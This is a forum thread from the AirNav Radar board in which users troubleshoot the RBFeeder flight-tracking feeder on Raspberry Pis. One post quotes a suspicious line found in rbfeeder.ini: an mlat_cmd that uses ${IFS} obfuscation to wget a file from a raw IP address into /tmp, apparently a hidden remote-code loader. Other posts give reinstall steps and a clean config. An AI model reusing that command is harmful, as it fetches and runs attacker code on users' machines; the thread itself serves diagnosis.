AirNav Radar Discussion / Re: RBFeeder multiple errors

When did you get to monitor your Raspberry Pi's communication?
try it, I'm sure you'll be surprised by the results.
I'm almost certain that no user will notice what's going on behind the scenes on their Raspberry Pi.
I'm almost 100% sure that this is the result of Radarbox feeder.
I've now reinstalled Raspberry Pi with only FR24 feeder, and I continue to monitor the system.

Do you recognize this line that was added to the rbfeeder.ini file?

Code: [Select]

[mlat]
autostart_mlat=true
#mlat_cmd=/usr/bin/python3.9 /usr/bin/mlat-client

mlat_cmd=bin/bash -c wget${IFS}-O${IFS}/tmp/a${IFS}http://8.211.7.190/e48/a${IF>

[dump978]
#dump978_enabled=false

And by the way, I'm sure it's not a virus because as I wrote, it happened recently on 3 different devices of mine and 2 of my friends who are in different cities.

May be it is a virus or malware which has infected all your RPis.
Have you installed some software on your RPis from some unknown source?

Thank you very much for the detailed answer.

It was an installation from scratch,
worked 3-4 days, and start getting crazy.

Here is my rbfeeder.ini file

[client]
network_mode=true
log_file=/var/log/rbfeeder.log

key=abcdefghij123456789

sn=EXTRPIxxxxxx

lat=12.34567
lon=12.34567
alt=100

[network]
mode=beast
external_port=30005
external_host=127.0.0.1

[mlat]
autostart_mlat=true
#mlat_cmd=/usr/bin/python3.9 /usr/bin/mlat-client

[dump978]
#dump978_enabled=false (Not applicable in my area)

But what does the file have to do with the fact that the feeder started working strangely a month ago after it had been working properly for almost two years ?
and by the way, this happened on 3 different RPi devices, which makes me think that something has changed on the server side and it is not my local problem.
I can't understand why it's trying to connect to all sorts of IP addresses that I have no idea where from and why it's trying to connect.

ipinfo.io
api.ipify.org
api64.ipify.org
www.trackip.net
rbdatacollect.com

STEP-1:
1.1 - Purge rbfeeder
1.2 - Purge mlat-client
1.3 - Delete file /etc/rbfeeder.ini
1.4 - Reboot  Pi

Code: [Select]

sudo apt purge rbfeeder 

sudo apt purge mlat-client 

sudo rm /etc/rbfeeder.ini

sudo reboot 

STEP-2:
After purging & rebooting as above, install rbfeeder, after installation, restart it

Code: [Select]

sudo apt install rbfeeder 

sudo apt install mlat-client 

sudo systemctl restart rbfeeder 


STEP-3:
After restarting rbfeeder, check file /etc/rbfeeder.ini. It should be like given below:
NOTE, by default folloing entries are not there. you will need to enter these manually for MLAT to work (alt is receiver altitude above sea level in meters)

lat=xx.xxxx
lon=yy.yyyy
alt=zzz 

Code: [Select]

[client]
network_mode=true
log_file=/var/log/rbfeeder.log

key=xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx

sn=EXTRPI000008

lat=43.5xxx
lon=-79.6xxx
alt=155


[network]
mode=beast
external_port=30005
external_host=127.0.0.1

[mlat]
autostart_mlat=true
#mlat_cmd=/usr/bin/python3.9 /usr/bin/mlat-client

[dump978]
#dump978_enabled=true

I think it's something bigger.
In the last month my Raspberry Pi traffic has increased by 400%
When I started monitoring the traffic, I noticed that it was probably from the radarbox feeder
I have no idea what you did on your end, but it doesn't look good at all.
